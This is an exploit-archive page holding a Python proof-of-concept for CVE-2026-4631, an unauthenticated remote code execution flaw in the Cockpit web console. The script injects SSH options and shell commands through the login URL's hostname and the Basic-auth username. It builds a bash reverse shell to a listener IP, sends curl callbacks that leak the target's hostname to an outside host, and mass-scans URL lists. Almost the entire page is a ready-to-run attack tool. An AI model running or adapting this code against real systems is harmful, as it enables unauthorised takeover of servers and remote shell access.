Share
## https://sploitus.com/exploit?id=PACKETSTORM:221753
# Exploit Title: Cockpit 359 - RCE
     # Date: 18-04-2026
     # Exploit Author: @intx0x80
     # Vendor Homepage: https://cockpit-project.org/
     # Software Link: https://github.com/cockpit-project/cockpit
     # Version: 327-359
     # Tested on: Debain
     # CVE : CVE-2026-4631
    
    import base64
    import argparse
    import requests
    import urllib3
    import urllib.parse
    import sys
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    RED    = "\033[91m"
    GREEN  = "\033[92m"
    YELLOW = "\033[93m"
    CYAN   = "\033[96m"
    BOLD   = "\033[1m"
    RESET  = "\033[0m"
    
    def banner():
        print(f"""{CYAN}{BOLD}
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘         CVE-2026-4631  -  Cockpit SSH Argument Injection     โ•‘
    โ•‘         Unauthenticated Remote Code Execution                โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
    
                @intx0x80
    
    
    {RESET}""")
    
    def info(msg):  print(f"{CYAN}[*]{RESET} {msg}")
    def ok(msg):    print(f"{GREEN}[+]{RESET} {msg}")
    def warn(msg):  print(f"{YELLOW}[!]{RESET} {msg}")
    def err(msg):   print(f"{RED}[-]{RESET} {msg}")
    def die(msg):   err(msg); sys.exit(1)
    
    def make_auth_header(username="invalid", password="PWN"):
        creds = f"{username}:{password}"
        encoded = base64.b64encode(creds.encode()).decode()
        return f"Basic {encoded}"
    
    def exploit_hostname(target, session, command):
        print(f"\n{YELLOW}[*] Attack vector: Hostname ProxyCommand injection{RESET}")
        encoded_cmd = urllib.parse.quote(command, safe="")
        url = f"{target}/cockpit+=-oProxyCommand={encoded_cmd}/login"
    
        print(f"[*] Request: GET {url}")
    
        headers = {
            "Authorization": make_auth_header(),
            "Referer": f"{target}/",
            "Origin": target,
        }
    
        try:
            r = session.get(url, headers=headers, timeout=10)
            print(f"[*] Response: {r.status_code}")
    
            if r.status_code in (200, 401, 403, 500):
                print("[+] Request delivered - SSH process spawned")
                print("[+] ProxyCommand executed (if OpenSSH < 9.6 on target)")
    
            snippet = r.text[:200].strip()
            if snippet:
                print(f"[*] Body snippet: {snippet}")
    
        except requests.exceptions.ConnectionError:
            print("[+] Connection reset - server may have crashed (command ran)")
        except Exception as e:
            print(f"[-] Error: {e}")
    
    def exploit_username(target, session, command, ssh_host="127.0.0.1"):
        print(f"\n{YELLOW}[*] Attack vector Username %%r token injection{RESET}")
        print(f"[*] Command: {command}")
    
        payload_user = f"x; {command}; #"
        print(f"[*] Username payload: {payload_user}")
    
        headers = {
            "Authorization": make_auth_header(username=payload_user, password="invalid"),
            "Referer": f"{target}/",
            "Origin": target,
        }
    
        url = f"{target}/cockpit+={ssh_host}/login"
    
        try:
            r = session.get(url, headers=headers, timeout=10)
            tm = r.elapsed.total_seconds()
            # print(f"[+] Time {tm}")
            # print(f"[*] Response: {r.status_code}")
            if r.status_code in (200, 401, 403, 500):
                print("[+] Request delivered")
            else:
                print(f"[-] Unexpected status code: {r.status_code}")
    
        except requests.exceptions.ConnectionError:
            print("[+] Connection reset")
        except Exception as e:
            print(f"[-] Error: {e}")
    
    def detect_time_based(target, session, command, ssh_host="127.0.0.1"):
        print(f"{GREEN}[+] Scanning target: {target}{RESET}")
        payload_user = f"x; {command}; #"
    
        headers = {
            "Authorization": make_auth_header(username=payload_user, password="invalid"),
            "Referer": f"{target}/",
            "Origin": target,
        }
    
        url = f"{target}/cockpit+={ssh_host}/login"
    
        try:
            r = session.get(url, headers=headers, timeout=10)
            tm = r.elapsed.total_seconds()
            
            if tm >= 5:
                print(f"{GREEN}[+] Vulnerable (Time-based): {target} (Duration: {tm:.2f}s){RESET}")
            else:
                print(f"[-] Not Vulnerable (Time-based): {target} (Duration: {tm:.2f}s)")
                
            if r.status_code in (200, 401, 403, 500):
                pass 
    
        except requests.exceptions.ConnectionError:
            print("[+] Connection reset")
        except Exception as e:
            print(f"[-] Error: {e}")
    
    def main():
        parser = argparse.ArgumentParser(description="CVE-2026-4631")
        parser.add_argument("--target", required=False, help="Cockpit URL e.g. http://127.0.0.1:9090")
        parser.add_argument("--vector", choices=["hostname", "username"], help="Injection vector")
        parser.add_argument("--cmd", help="Command to execute")
        parser.add_argument("--callback", help="OOB callback URL (hostname vector or DNS lookup)")
        parser.add_argument("--lhost", help="Reverse shell listener IP")
        parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port (default 4444)")
        parser.add_argument("--ssh-host", default="127.0.0.1", help="SSH host for username vector")
        parser.add_argument("--file", default="url.txt", help="File containing URLs to scan")
    
        args = parser.parse_args()
    
        if not args.target and not args.file:
            die("[-] Error: Either --target or --file is required.")
    
        if not args.vector:
            print("\n[*] Detection complete. Use --vector to exploit.")
            return
    
        session = requests.Session()
        session.verify = False
    
        if args.vector == "hostname":
            if args.lhost:
                cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
            elif args.callback:
                cmd = f"curl `hostname`.{args.callback}"
            elif args.cmd:
                cmd = args.cmd
            else:
                die("[-] Hostname vector needs --cmd, --callback, or --lhost")
            
            if args.target:
                target = args.target.rstrip("/")
                exploit_hostname(target, session, cmd)
            else:
                die("[-] Hostname vector requires --target")
    
        elif args.vector == "username":
            if args.target:
                target = args.target.rstrip("/")
                
                if args.callback:
                    cmd = f"curl {args.callback}"
                    exploit_username(target, session, cmd, args.ssh_host)
                
                elif args.cmd:
                    exploit_username(target, session, args.cmd, args.ssh_host)
                
                elif args.lhost:
                    cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
                    exploit_username(target, session, cmd, args.ssh_host)
                
                else:
                    print("[*] No command/callback provided. Running time-based detection...")
                    detect_time_based(target, session, "sleep 5", args.ssh_host)
    
            elif args.file:
                try:
                    with open(args.file, "r") as f:
                        urls = [line.strip() for line in f if line.strip()]
                except FileNotFoundError:
                    die(f"[-] File not found: {args.file}")
    
                if args.callback:
                    print(f"{GREEN}[+] Scanning {len(urls)} targets with callback: {args.callback}{RESET}")
                    for target in urls:
                        linker = target.strip().split(":")[1].replace("//", "") if ":" in target else "unknown"
                        cmd = f"curl `hostname`.{linker}-{args.callback}"
                        exploit_username(target, session, cmd, args.ssh_host)
                
                else:
                    print(f"{YELLOW}[+] Scanning {len(urls)} targets for time-based vulnerability...{RESET}")
                    for target in urls:
                        detect_time_based(target, session, "sleep 5", args.ssh_host)
    
    if __name__ == "__main__":
        banner()
        main()